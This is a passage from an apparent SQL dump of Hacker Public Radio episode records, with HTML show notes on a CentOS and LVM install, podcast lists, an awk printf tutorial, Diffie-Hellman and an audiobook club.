logical volumes of multiple physical volumes or entire hard disks (somewhat similar to RAID 0, but more similar to JBOD), allowing for dynamic volume resizing. Managing large hard disk farms by allowing disks to be added and replaced without downtime or service disruption, in combination with hot swapping. On small systems (like a desktop), instead of having to estimate at installation time how big a partition might need to be, LVM allows filesystems to be easily resized as needed. Performing consistent backups by taking snapshots of the logical volumes. LVM can be considered as a thin layer of continuity and ease-of-use for managing hard drive replacement, repartitioning and backup. software layer on top of the hard disks and partitions, which creates an abstraction Basic functionality Volume groups (VGs) can be resized online by absorbing new physical volumes (PVs) or ejecting existing ones. Logical volumes (LVs) can be resized online by concatenating extents onto them or truncating extents from them. LVs can be moved between PVs. Creation of read-only snapshots of logical volumes (LVM1), or read-write snapshots (LVM2). VGs can be split or merged in situ as long as no LVs span the split. This can be useful when migrating whole LVs to or from offline storage. LVM objects can be tagged for administrative convenience. VGs and LVs can be made active as the underlying devices become available through use of the lvmetad daemon.</p>\r\n</blockquote>\r\n<p>Setup with CentOS is not as simple as linux mint or ubuntu and very different than debian. You have to click and know a little about what you doing. For me with the basic 500GB install disk I got only a bare server with ssh. The machine was having power issues and would not boot from a usb stick so I had to go through 4 different DVD drives until I found one that worked with the DVD-R format. I had to use another deskop and power the DVD threw the other desk up connecting only the sata port the IDE drive was not working well either on this old board.</p>\r\n<p>I had to remove the old centos 6 from the drives using Gparted. There were errors with the gparted but the centos installer worked great after I removed ext4 part of the lvms.</p>\r\n<p>GParted is a free partition editor for graphically managing your disk partitions.</p>\r\n<p>With GParted you can resize, copy, and move partitions without data loss,</p>\r\n<p>Getting the mirrors working and getting it to work through a fire wall was pretty hard I had to make two config changes to the yum.conf one with the proxy address and the other to allow http cache. I also used <code>export_proxy=</code> to get it work globally. I had really trouble finding a fast mirror but I did not give up hope after a while it found fast mirrors that I got over 2MB per second from.</p>\r\n<p>So I installed Gnome and made boot up at startup I will install x2go or vncserver on it also just in case I need it.</p>\r\n<p>After some time of playing with it I was able to get it to fully update.</p>\r\n<p>I then moved to the server room, got the IP address and connected it it from putty. I think the advantage of this box is that I will always have a Redhat 7 install ready to demo or learn something without having to setup a lot of things.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Intergraph\" class=\"uri\">https://en.wikipedia.org/wiki/Intergraph</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/CentOS\" class=\"uri\">https://en.wikipedia.org/wiki/CentOS</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux)\" class=\"uri\">https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux)</a></li>\r\n</ul>\r\n',129,0,0,'CC-BY-SA','Intergraph Corporation, Pentium 4, CentOS, Logical Volume Manager',0,0,1),
(2480,'2018-02-02','What\'s In My Podcatcher 1',1067,'A current report, with descriptions, of the podcasts I enjoy','<p>I listen to many podcasts as my primary form of audio entertainment, and because Hacker Public Radio listeners also tend to be podcast listeners (pretty much by definition) I am sharing my finds with the community. Besides, Ken made me do it.</p>\r\n<p>Links:</p>\r\n<ul>\r\n<li><a href=\"https://www.alphabeatical.com/\" class=\"uri\">https://www.alphabeatical.com/</a></li>\r\n<li><a href=\"https://altonbrown.com/tag/podcast/\" class=\"uri\">https://altonbrown.com/tag/podcast/</a></li>\r\n<li><a href=\"https://www.astronomycast.com/\" class=\"uri\">https://www.astronomycast.com/</a></li>\r\n<li><a href=\"https://www.benfranklinsworld.com/\" class=\"uri\">https://www.benfranklinsworld.com/</a></li>\r\n<li><a href=\"https://www.bigfinish.com/podcasts\" class=\"uri\">https://www.bigfinish.com/podcasts</a></li>\r\n<li><a href=\"https://theensembleproject.com/cadence/\" class=\"uri\">https://theensembleproject.com/cadence/</a></li>\r\n<li><a href=\"https://thecommandline.net/\" class=\"uri\">https://thecommandline.net/</a></li>\r\n<li><a href=\"https://www.dancarlin.com/common-sense-home-landing-page/\" class=\"uri\">https://www.dancarlin.com/common-sense-home-landing-page/</a></li>\r\n<li><a href=\"https://www.sneakydragon.com/category/podcast/compleatly-beatles/\" class=\"uri\">https://www.sneakydragon.com/category/podcast/compleatly-beatles/</a></li>\r\n<li><a href=\"https://www.dancarlin.com/hardcore-history-60-the-celtic-holocaust/\" class=\"uri\">https://www.dancarlin.com/hardcore-history-60-the-celtic-holocaust/</a></li>\r\n<li><a href=\"https://www.fab4free4all.com/\" class=\"uri\">https://www.fab4free4all.com/</a></li>\r\n<li><a href=\"https://soundcloud.com/fabcast-870039074\" class=\"uri\">https://soundcloud.com/fabcast-870039074</a></li>\r\n<li><a href=\"https://fivethirtyeight.com/tag/politics-podcast/\" class=\"uri\">https://fivethirtyeight.com/tag/politics-podcast/</a></li>\r\n<li><a href=\"https://www.palain.com\" class=\"uri\">https://www.palain.com</a></li>\r\n</ul>\r\n',198,75,0,'CC-BY-SA','Podcasts',0,0,1),
(2490,'2018-02-16','What\'s In My Podcatcher 2',959,'A current report, with descriptions, of the podcasts I enjoy','<p>I listen to many podcasts as my primary form of audio entertainment, and because Hacker Public Radio listeners also tend to be podcast listeners (pretty much by definition) I am sharing my finds with the community. Besides, Ken made me do it.</p>\r\n<p>Links:</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org\" class=\"uri\">https://hackerpublicradio.org</a></li>\r\n<li><a href=\"https://soundcloud.com/healthcaretriage\" class=\"uri\">https://soundcloud.com/healthcaretriage</a></li>\r\n<li><a href=\"https://thehistoryofrome.typepad.com/\" class=\"uri\">https://thehistoryofrome.typepad.com/</a></li>\r\n<li><a href=\"https://www.ihearofsherlock.com/\" class=\"uri\">https://www.ihearofsherlock.com/</a></li>\r\n<li><a href=\"https://www.bbc.co.uk/programmes/b00snr0w/episodes/downloads\" class=\"uri\">https://www.bbc.co.uk/programmes/b00snr0w/episodes/downloads</a></li>\r\n<li><a href=\"https://inquiring.show/\" class=\"uri\">https://inquiring.show/</a></li>\r\n<li><a href=\"https://imagination.ucsd.edu/_wp/feed/podcast/\" class=\"uri\">https://imagination.ucsd.edu/_wp/feed/podcast/</a></li>\r\n<li><a href=\"https://www.katebushnews.com/index.php/category/www-katebushnews-com/kate-bush-fan-podcast/\" class=\"uri\">https://www.katebushnews.com/index.php/category/www-katebushnews-com/kate-bush-fan-podcast/</a></li>\r\n<li><a href=\"https://podnutz.com/category/linux-for-the-rest-of-us/\" class=\"uri\">https://podnutz.com/category/linux-for-the-rest-of-us/</a></li>\r\n<li><a href=\"https://www.linuxvoice.com/category/podcasts/\" class=\"uri\">https://www.linuxvoice.com/category/podcasts/</a></li>\r\n<li><a href=\"https://mugglecast.com/\" class=\"uri\">https://mugglecast.com/</a></li>\r\n<li><a href=\"https://www.nature.com/nature/podcast/index.html\" class=\"uri\">https://www.nature.com/nature/podcast/index.html</a></li>\r\n<li><a href=\"https://www.palain.com\" class=\"uri\">https://www.palain.com</a></li>\r\n</ul>\r\n',198,75,0,'CC-BY-SA','Podcasts',0,0,1),
(2467,'2018-01-16','I randomly talk about my laptops',574,'Random talk about my laptops and the linux distros that are on them','<p>Just decided to start talking about my laptops after I installed Ubuntu Mate 16.04 to my x60.</p>',297,0,0,'CC-BY-SA','laptop, linux, fun, computers',0,0,1),
(2472,'2018-01-23','Forum Failure',1000,'Lostnbronx talks about his recent experiment in running a forum.','<p>In 2017 I created a forum over at Proboards dedicated to my audio work and writing. It didn\'t attract a user base, and I deleted it when 2018 rolled around.</p>\r\n<p>These are just some thoughts about why I wanted it to begin with, and why I think it failed.</p>\r\n<p>I still believe Proboards is a good way to jump into forums and using forum software, and still recommend it for that reason:</p>\r\n<p><a href=\"https://proboards.com/\" class=\"uri\">https://proboards.com/</a></p>\r\n<p>Here are some of my projects mentioned briefly in this episode:</p>\r\n<ul>\r\n<li><a href=\"https://www.cavalcadeaudio.com/\" class=\"uri\">https://www.cavalcadeaudio.com/</a></li>\r\n<li><a href=\"https://downloads.cavalcadeaudio.com/lnbsaudiodiary/?p=home\" class=\"uri\">https://downloads.cavalcadeaudio.com/lnbsaudiodiary/?p=home</a></li>\r\n</ul>\r\n',107,0,0,'CC-BY-SA','forum,lostnbronx,platform,community',0,0,1),
(2473,'2018-01-24','Frotz - A Portable Z-Machine Interpreter',608,'How to use Frotz to play those old Infocom text adventure games from the 80s.','<p>Frotz is an interpreter for Infocom games (like Zork) and other Z-machine games. You can install it via your respective package manager or download the source code from the URLs below.</p>\r\n<ul>\r\n<li>Website: <a href=\"https://frotz.sourceforge.net\" class=\"uri\">https://frotz.sourceforge.net</a></li>\r\n<li>Github: <a href=\"https://github.com/DavidGriffith/frotz/\" class=\"uri\">https://github.com/DavidGriffith/frotz/</a></li>\r\n</ul>\r\n',152,0,0,'CC-BY-SA','Frotz,Z-code,Z-machine,Interactive Fiction',0,0,1),
(2474,'2018-01-25','Open Source Gaming #3 The Atari Jaguar',832,'Episode 3 is about the Atari Jaguar which has been open source since 1999','<a href=\"https://www.atariage.com/Jaguar/archives/HasbroRights.html\">https://www.atariage.com/Jaguar/archives/HasbroRights.html</a>\r\n\r\n<pre>\r\nHasbro Releases Jaguar Publishing Rights\r\nFOR IMMEDIATE RELEASE:\r\nCONTACTS:\r\nDana Henry\r\nHasbro Interactive\r\n978-921-3759\r\ndhenry@hasbro.com\r\n\r\nBeverly, MA (May 14, 1999) - Leading entertainment software publisher, \r\nHasbro Interactive announced today it has released all rights that it \r\nmay have to the vintage Atari hardware platform, the Jaguar.\r\n\r\nHasbro Interactive acquired rights to many Atari properties, including \r\nthe legendary Centipede, Missile Command, and Pong games, in a March \r\n1998 acquisition from JTS Corporation.\r\n\r\nThis announcement will allow software developers to create and publish \r\nsoftware for the Jaguar system without having to obtain a licensing \r\nagreement with Hasbro Interactive for such platform development. \r\nHasbro Interactive cautioned, however, that the developers should not \r\nuse the Atari trademark or logo in connection with their games or \r\npresent the games as authorized or approved by Hasbro Interactive.\r\n\r\n\"Hasbro Interactive is strictly focused on developing and publishing \r\nentertainment software for the PC and the next generation game \r\nconsoles,\" said Richard Cleveland, Head of Marketing for Hasbro \r\nInteractive\'s Atari Business Unit. \"We realize there is a passionate \r\naudience of diehard Atari fans who want to keep the Jaguar system alive, \r\nand we don\'t want to prevent them from doing that. We will not interfere \r\nwith the efforts of software developers to create software for the \r\nJaguar system.\"\r\n\r\nHasbro Interactive, Inc. is a leading all-family interactive games \r\npublisher, formed in 1995 to bring to life on the computer the deep \r\nlibrary of toy and board games of parent company, Hasbro, Inc. (ASE:HAS). \r\nHasbro Interactive has expanded its charter to include original and \r\nlicensed games for the PC, the Playstation(R) and Nintendo(R) 64 game \r\nconsoles and for multi-player gaming over the internet. Headquartered \r\nin Beverly, Massachusetts, Hasbro Interactive has offices in the U.K., \r\nFrance, Germany, Japan and Canada. For more information, visit the \r\nHasbro Interactive Web site at https://www.hasbro-interactive.com.\r\n</pre>',354,0,1,'CC-BY-SA','Atari Corporation, Atari Jaguar',0,0,1),
(2475,'2018-01-26','Information Underground -- Sex, Drugs, and Rock-n-Roll',2601,'The IU guys examine the first Sexual Revolution in America, back during Prohibition.','<p>Deepgeek, Klaatu, and Lostnbronx look back at the flappers and speakeasies of the 1920\'s and 30\'s, and attempt to draw a line from the newly independent women of that era, up through the Playboy Bunnies of the 1950\'s, all the way to today.</p>\r\n<p>Are things better or worse? Is what we &quot;know&quot; about history really important? And do the Info-Underground boys have any clue what they\'re even talking about?</p>',107,99,1,'CC-0','sex,alcohol,women,prohibition,freedom,history,pornography,oppression,playboy,hugh hefner',0,0,1),
(2483,'2018-02-07','Useful Bash functions - part 4',2386,'A Bash function for parsing lists of numbers and ranges','<h1 id=\"useful-bash-functions---part-4\">Useful Bash functions - part 4</h1>\r\n<h2 id=\"overview\">Overview</h2>\r\n<p>This is the fourth show about the Bash functions I use, and it may be the last unless I come up with something else that I think might be of general interest.</p>\r\n<p>There is only one function to look at this time, but it\'s fairly complex so needs an entire episode devoted to it.</p>\r\n<p>As before it would be interesting to receive feedback on this function and would be great if other Bash users contributed ideas of their own.</p>\r\n<h2 id=\"full-notes\">Full Notes</h2>\r\n<p>Since the notes explaining this subject are long, they have been placed <a href=\"https://hackerpublicradio.org/eps/hpr2483/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>The <a href=\"https://www.gnu.org/software/bash/manual/bash.html\">GNU Bash Reference Manual</a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#ANSI_002dC-Quoting\">ANSI-C Quoting</a> section</li>\r\n</ul></li>\r\n<li>Previous HPR episodes in this group <em>Useful Bash functions</em>:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1757\">Part 1</a>: \'<code>pad</code>\' and \'<code>yes_no</code>\' functions</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2096\">Part 2</a>: \'<code>yes_no</code>\' revisited</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2448\">Part 3</a>: \'<code>read_value</code>\', \'<code>check_value</code>\' and \'<code>read_and_check</code>\'</li>\r\n</ul></li>\r\n<li>Download the <a href=\"https://hackerpublicradio.org/eps/hpr2483/range_parse.sh\"><em>range_parse</em></a> function and the <a href=\"https://hackerpublicradio.org/eps/hpr2483/range_demo.sh\"><em>range_demo.sh</em></a> test script.</li>\r\n</ul>',225,42,1,'CC-BY-SA','coding,Bash,script,function',0,0,1),
(2500,'2018-03-02','What\'s In My Podcatcher 3',1272,'A current report, with descriptions, of the podcasts I enjoy','<p>I listen to many podcasts as my primary form of audio entertainment, and because Hacker Public Radio listeners also tend to be podcast listeners (pretty much by definition) I am sharing my finds with the community. Besides, Ken made me do it.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://soundcloud.com/guitar-player-magazine\" class=\"uri\">https://soundcloud.com/guitar-player-magazine</a></li>\r\n<li><a href=\"https://www.planetary.org/multimedia/planetary-radio/\" class=\"uri\">https://www.planetary.org/multimedia/planetary-radio/</a></li>\r\n<li><a href=\"https://revisionisthistory.com/\" class=\"uri\">https://revisionisthistory.com/</a></li>\r\n<li><a href=\"https://www.revolutionspodcast.com/\" class=\"uri\">https://www.revolutionspodcast.com/</a></li>\r\n<li><a href=\"https://www.sciencefriday.com/podcast/\" class=\"uri\">https://www.sciencefriday.com/podcast/</a></li>\r\n<li><a href=\"https://www.scientificamerican.com/podcast/science-talk/\" class=\"uri\">https://www.scientificamerican.com/podcast/science-talk/</a></li>\r\n<li><a href=\"https://www.scientificamerican.com/podcast/60-second-science/\" class=\"uri\">https://www.scientificamerican.com/podcast/60-second-science/</a></li>\r\n<li><a href=\"https://twit.tv/shows/security-now\" class=\"uri\">https://twit.tv/shows/security-now</a></li>\r\n<li><a href=\"https://www.sherlockholmespodcast.com/\" class=\"uri\">https://www.sherlockholmespodcast.com/</a></li>\r\n<li><a href=\"https://somethingaboutthebeatles.com/\" class=\"uri\">https://somethingaboutthebeatles.com/</a></li>\r\n<li><a href=\"https://nakedsecurity.sophos.com/category/audio-and-video/podcast/\" class=\"uri\">https://nakedsecurity.sophos.com/category/audio-and-video/podcast/</a></li>\r\n<li><a href=\"https://www.startalkradio.net/\" class=\"uri\">https://www.startalkradio.net/</a></li>\r\n<li><a href=\"https://swingingthroughthesixties.com/\" class=\"uri\">https://swingingthroughthesixties.com/</a></li>\r\n<li><a href=\"https://beatlesexaminer.podbean.com/\" class=\"uri\">https://beatlesexaminer.podbean.com/</a></li>\r\n<li><a href=\"https://twit.tv/shows/this-week-in-google\" class=\"uri\">https://twit.tv/shows/this-week-in-google</a></li>\r\n<li><a href=\"https://twit.tv/shows/this-week-in-tech\" class=\"uri\">https://twit.tv/shows/this-week-in-tech</a></li>\r\n<li><a href=\"https://twit.tv/shows/triangulation\" class=\"uri\">https://twit.tv/shows/triangulation</a></li>\r\n<li><a href=\"https://www.undiscoveredpodcast.org/\" class=\"uri\">https://www.undiscoveredpodcast.org/</a></li>\r\n<li><a href=\"https://www.welcometonightvale.com/\" class=\"uri\">https://www.welcometonightvale.com/</a></li>\r\n<li><a href=\"https://smlr.us/\" class=\"uri\">https://smlr.us/</a></li>\r\n<li><a href=\"https://www.palain.com\" class=\"uri\">https://www.palain.com</a></li>\r\n</ul>\r\n',198,75,1,'CC-BY-SA','Podcasts',0,0,1),
(2510,'2018-03-16','26 - Diffie-Hellman-Merkle Key Exchange',1231,'A basic explanation of how Diffie-Hellman-Merkle Key Exchange works','<p>Diffie-Hellman Key Exchange is based on work initially done by Ralph Merkle, and remains one of the key developments in secure communication over the Internet. In this episode I try to explain just how this works, with an example of a calculated key exchange.</p>\r\n<p>For more go to <a href=\"https://www.zwilnik.com/?page_id=955\" class=\"uri\">https://www.zwilnik.com/?page_id=955</a></p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://ee.stanford.edu/~hellman/publications/24.pdf\" class=\"uri\">https://ee.stanford.edu/~hellman/publications/24.pdf</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Modular_arithmetic\" class=\"uri\">https://en.wikipedia.org/wiki/Modular_arithmetic</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Discrete_logarithm\" class=\"uri\">https://en.wikipedia.org/wiki/Discrete_logarithm</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\" class=\"uri\">https://en.wikipedia.org/wiki/Man-in-the-middle_attack</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=955\" class=\"uri\">https://www.zwilnik.com/?page_id=955</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','Diffie-Hellman, Encryption',0,0,1),
(2476,'2018-01-29','Gnu Awk - Part 9',1956,'In part 9 of the series, we discuss the printf function','<h1 id=\"awk-series-part-9---printf\">Awk Series Part 9 - printf</h1>\n<p>The <code>printf</code> function allows for greater control over the output, in comparison to <code>print</code>.</p>\n<p>To follow along, you can either use these show notes or refer to <a href=\"https://www.gnu.org/software/gawk/manual/gawk.html\">the gawk manual</a>.</p>\n<p>There are 3 main areas to cover:</p>\n<ul>\n<li>Basic <code>printf</code> syntax</li>\n<li>Format Control letters</li>\n<li>Format modifiers</li>\n</ul>\n<h2 id=\"syntax\">Syntax</h2>\n<pre><code>printf format, item1, item2, …</code></pre>\n<p>The big difference in the syntax of printf statements is the <em>format</em> argument. It allows you to use complex formatting and layouts for outputs. Unlike <code>print</code>, <code>printf</code> does not automatically start a new line after the function. This can be useful when you want to print all of the items in a column on a single line.</p>\n<p>For example, remember the example file, file1.csv:</p>\n<pre><code>name,color,amount\napple,red,4\nbanana,yellow,6\nstrawberry,red,3\ngrape,purple,10\napple,green,8\nplum,purple,2\nkiwi,brown,4\npotato,brown,9\npineapple,yellow,5</code></pre>\n<p>Look at the difference between the following outputs:</p>\n<pre><code>awk -F, &#39;NR!=1{print &quot;Color&quot;, $2, &quot;has&quot;, $3}&#39; file1.csv</code></pre>\n<p>and</p>\n<pre><code>awk -F, &#39;NR!=1{printf &quot;Color %s has %s. &quot;, $2, $3}&#39; file1.csv</code></pre>\n<h2 id=\"control-letters\">Control Letters</h2>\n<p>Control letters control or cast the output to specific types. Use it as a way to convert ints to floats, ints to chars, etc.</p>\n<p><code>%c</code> = to char. <code>printf &quot;%c&quot;, 65</code> prints a<br />\n<code>%i</code>, <code>%d</code> = to int. <code>printf &quot;%i&quot;, 3.4</code> prints 3<br />\n<code>%f</code> = to float. <code>printf &quot;%c&quot;, 65</code> prints 65.000000<br />\n<code>%e</code>, <code>%E</code> = to scientific notation. <code>printf &quot;%e&quot;, 65</code> prints 6.500000e+01. If you use <code>%E</code> will use a capital E instead of e.<br />\n<code>%g</code> = to either scientific notation or int. <code>printf &quot;%.2g&quot;, 65</code> prints 65, while <code>printf &quot;%.1g&quot;, 65</code> prints 6e+01<br />\n<code>%s</code> = to string. <code>printf &quot;%s&quot;, 65</code> prints 65<br />\n<code>%u</code> = to unsigned int. <code>printf &quot;%u&quot;, -6</code> prints 18446744073709551610</p>\n<p>There are others. See documentation.</p>\n<h2 id=\"formatting\">Formatting</h2>\n<p><code>N$</code> = positional specifier. <code>printf &quot;%2$s %1$s&quot;, &quot;second&quot;, &quot;first&quot;</code><br />\n<code>n</code> = spaces to the left of the string.<br />\n<code>-n</code> = spaces to the right of string.<br />\n<code>space</code> = prefix positive numbers with a space, negative numbers with a -<br />\n<code>+</code> = prefix all numbers with a sign (either + or -)<br />\n<code>0n</code> = leading 0\'s before input. <code>printf &quot;%03i&quot;, 65</code> prints 065.<br />\n<code>\'</code> = comma place holder for thousands. <code>printf &quot;%\'i&quot;, 6500</code> prints 6,500</p>\n<p>Below is an (crude) illustration of how I like to think when formatting output:</p>\n<pre><code>          7          2\n├──────┼───────┼────┼──┤\n Color: RedXXXX Sum: X6</code></pre>\n<pre><code>       18            3\n├──────────────────╂───┤\n Total Sum:XXXXXXXX X34</code></pre>\n<p>See the following awk file</p>\n<pre><code>BEGIN {\n    FS=&quot;,&quot;;\n}\nNR != 1 {\n    a[$2]+=$3;\n    c+=$3;\n    d+=1;\n}\nEND {\n    for (b in a) {\n        printf &quot;Color: %-7s Sum: %2i\\n&quot;, b, a[b];\n    }\n    print &quot;----------------------&quot;\n    printf &quot;%-18s %3i\\n&quot;, &quot;Total Sum:&quot;, c;\n    printf &quot;%-18s %3i\\n&quot;, &quot;Total Count:&quot;, d;\n    printf &quot;%-18s %3.1f\\n&quot;, &quot;Mean:&quot;, c / d;\n}</code></pre>\n<p>This gives the following output:</p>\n<pre><code>Color: brown   Sum: 13\nColor: purple  Sum: 12\nColor: red     Sum:  7\nColor: yellow  Sum: 11\nColor: green   Sum:  8\n----------------------\nTotal Sum:          51\nTotal Count:         9\nMean:              5.7</code></pre>\n<h1 id=\"resources\">Resources</h1>\n<ol type=\"1\">\n<li><a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Printf\" class=\"uri\">https://www.gnu.org/software/gawk/manual/gawk.html#Printf</a></li>\n<li><a href=\"https://www.grymoire.com/Unix/Awk.html\" class=\"uri\">https://www.grymoire.com/Unix/Awk.html</a></li>\n<li><a href=\"https://datascienceatthecommandline.com/\" class=\"uri\">https://datascienceatthecommandline.com/</a></li>\n</ol>\n',300,94,1,'CC-BY-SA','awk,bash,Linux,command line',0,0,1),
(2477,'2018-01-30','Reading Audio Books While Distracted',610,'My attempt to solve the problem of listening to audio books when you can\'t fully concentrate. ','<p>Just a quick and dirty episode on my attempt to solve the problem of listening to audio books at work or anytime you can\'t fully concentrate on the important thing, the audio book, of course.</p>\r\n<h3 id=\"problem\">Problem</h3>\r\n<p>I have more time to listen to books than to read them. I have no issues listening to audio books on my commute or when taking walks. The problem occurs at work. I have about 4 hours a day I could be listening to audio books. Over the years I\'ve tried countless times, all with the same result. I get distracted by work and find I\'ve missed key parts of the story and end up listening to music or podcasts I don\'t mind missing instead.</p>\r\n<p>There\'s nothing wrong with music or podcasts I don\'t mind missing but that doesn\'t help with my growing list of books I want to \'read\'.</p>\r\n<p>I decided to treat this like a regular problem and break it down to see if I can find a solution to this problem.</p>\r\n<p>Here are the variable I have to play with. These might be different for you.</p>\r\n<ul>\r\n<li>Book in one file or broken into chapters</li>\r\n<li>Listening speed</li>\r\n</ul>\r\n<h3 id=\"design-goals\">Design goals</h3>\r\n<p>Be able to listen to an audio book and have reasonable comprehension. Super Simple. I can\'t be seen as messing around with my player more than whatever it is that\'s keeping me from my player :)</p>\r\n<p>Normally I listen to books in one large file because at one point in time it was easier for me to keep track of them in my player and bookmarking was easier for my little brain to handle. But I got to thinking this might solve the problem of wasted time when needing to repeat sections of the book. If the book were broken into pieces, I wouldn\'t need to repeat as often. I tried listening to 3 chapters at a time and had two issues. The first is that 3 chapters is still quite a bit of time and I was repeating sections I didn\'t need to repeat. For example, I might have been able to follow along with chapter 1 but not chapters 2 and 3. This meant repeating chapter 1 or messing around to manually skip chapter 1 when I repeat. Not good.</p>\r\n<p>The second issue I had when listening to 3 chapter chunks was spoilers. If I got distracted during chapter 1 but not chapter 3, chapter 3 would contain spoilers for chapter 1 and chapter 1 would be spoiled on the re-listen :)</p>\r\n<h3 id=\"solution\">Solution</h3>\r\n<p>As it turns out listening in 1 chapter chunks solved both of these issues. So now I play one chapter on a loop until I feel I comprehend it well enough and then move to the next. This reduces the time when I need to re-listen because I was distracted and is simple because I only need to mess with the player when I\'m ready to move to the next chapter.</p>\r\n<p>It also reduces the spoiler issue. While there are still spoilers, they are limited to spoiling the same chapter. A good enough compromise for me.</p>\r\n<p>As far as playback speed goes, I like to speed audio up when I can concentrate on the audio but prefer to listen at normal speed when I can\'t.</p>\r\n<h3 id=\"other-considerations\">Other considerations</h3>\r\n<p>Some content might lend itself more to being broken into chunks by time rather than chapters. After all, not all chapters are the same length and podcasts don\'t usually have chapters. Assuming I decide to stick with this approach, I\'ll probably try running podcasts which require one to pay attention through a script that splits them up into chunks based on duration and treat those chunks as chapters in books.</p>\r\n<p>If you try this and find it useful and/or have modifications, by all means, share.</p>\r\n<p>Also, if this is a well known technique, feel free to make fun of me. It\'ll be fun listening to the comments being read on the community news show.</p>\r\n',151,0,0,'CC-0','Audio book, reading',0,0,1),
(2478,'2018-01-31','City Of Masks - HPR_AudioBookClub',5187,'The HPR Audiobook Club reviews City Of Masks with author Mike Reeves-McMillan','<h3>SUMMARY</h3>\r\n<p>In this episode, the HPR_AudioBookClub discusses City Of Masks by Mike Reeves-Mc-Millian</p>\r\n<p>It\'s available from Scribl <a href=\"https://scribl.com/books/PC439/city-of-masks/\">https://scribl.com/books/PC439/city-of-masks/</a></p>\r\n<p>It is also available as a paperback or an ebook. https://www.amazon.com/City-Of-Masks-Mike-Reeves-Mcmillan/dp/0473122138</p>\r\n<h3>Non-Spoiler Thoughts</h3>\r\n<p> Pokey loved this AudioBook! It\'s one of his all time favorites. It ranks up there with Lester Del Ray\'s Badge of Infamy</p>\r\n<h3>BEVERAGE REVIEWS</h3>\r\n<p>As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode</p>\r\n<ul>\r\n<li>Thaj: No liquids.....can\'t pee......send help!</li>\r\n<li>x1101: <a href=\"https://www.beeradvocate.com/beer/profile/147/38470/\">Stone Sublimely Self-Righteous Ale</a></li>\r\n<li>pokey: Kentucky Bourbon Barrel Stout <a href=\"https://www.kentuckyale.com/kentucky-bourbon-barrel-stout\">https://www.kentuckyale.com/kentucky-bourbon-barrel-stout</a></li>\r\n<li>Mike Reeves-Mcmillan: Water. Tasty Shire water.</li>\r\n<li>Semioticrobotic: Tea</li>\r\n</ul>\r\n<h3>Things We Talked About</h3>\r\n<p>https://gplus.to/mikerm  will link to everything else. It\'s also where I hang out the most. I  post samples of whatever I\'m working on at the moment on G+ most  Saturdays, as part of the #saturdayscenes group.\r\n<br/>\r\nhttps://csidemedia.com/gryphonclerks is my blog. There\'s a signup link for the mailing list in the sidebar, or the direct link is: \r\n<br/>\r\nhttps://eepurl.com/vB-t5\r\n<br/>\r\nThere\'s  some member-only content for mailing list members, and I\'m planning to  release another piece of content for them soon (a 12,000-word novelette  in my Gryphon Clerks setting).</p>\r\n<p>Mike\'s G+ Page: https://gplus.to/mikerm </p>\r\n<h3>OUR NEXT AUDIOBOOK</h3>\r\n<p><strong><a href=\'https://scribl.com/books/PDB66/matcher-rules\'>Matcher Rules</a></strong> by Mary Holland</p>\r\n<h3>NEXT RECORDING</h3>\r\n<p>Our next book club recording will be 2015/02/10T23:00:00+00:00. <a href=\"https://en.wikipedia.org/wiki/ISO_8601#Times\">https://en.wikipedia.org/wiki/ISO_8601#Times</a>. If you\'d like a Google calendar invite, or if you\'d like to be on the HPR_AudioBookClub mailing list, please get in contact with us on  the HPR mailing list \'hpr at hackerpublicradio dot org\'</p>\r\n<h3>FURTHER RECOMMENDATIONS</h3>\r\n<h3>Other mostly unrelated points</h3>\r\n<p>Port knocking: https://www.portknocking.org/ </p>\r\n<p>Cask of Amontillado https://en.wikipedia.org/wiki/The_Cask_of_Amontillado </p>\r\n<p>NetSplits https://en.wikipedia.org/wiki/Netsplit </p>\r\n<p>Valerian Root https://www.subzin.com/quotes/M145312bbc/Fight+Club/Chew+some+Valerian+root+and+get+more+exercise </p>\r\n<h3>FEEDBACK</h3>\r\n<p>Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you\'ll consider joining us next time. Please  leave a few words in the episode\'s comment section.\r\n <br/>As always; remember to visit the HPR contribution page HPR could really use your help right now.</p>\r\n<p><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></p>\r\n<p>Sincerely,\r\n <br/>The HPR_AudioBookClub</p>\r\n<p>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</p>\r\n<h3>OUR AUDIO</h3>\r\n<p>This episode was processed using Audacity <a href=\"https://audacity.sourceforge.net/\">https://audacity.sourceforge.net/</a>. We\'ve been making small adjustments to our audio mix each month in order to get the best possible sound. It\'s been especially  challenging getting all of our voices relatively level, because  everyone has  their   own unique setup. Mumble is great for bringing us  all together, and for recording, but it\'s not good at making  everyone\'s voice the  same  volume.  We\'re pretty happy with the way  this month\'s show turned  out, so we\'d like to share our editing  process and settings with you  and our  future  selves (who, of course,  will have forgotten all this  by  then).</p>\r\n<p>Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of   44.1kHz   so the first step in our audio process is to resample the  file  at   44.1kHz. Resampling can take a long time if you don\'t have  a  powerful   computer, and sometimes even if you do. If you record late  at  night,   like we do, you may want to start the task before you go  to  bed, and   save it first thing in the morning, so that the file is  ready  to go the   next time you are.</p>\r\n<p>Next we use the 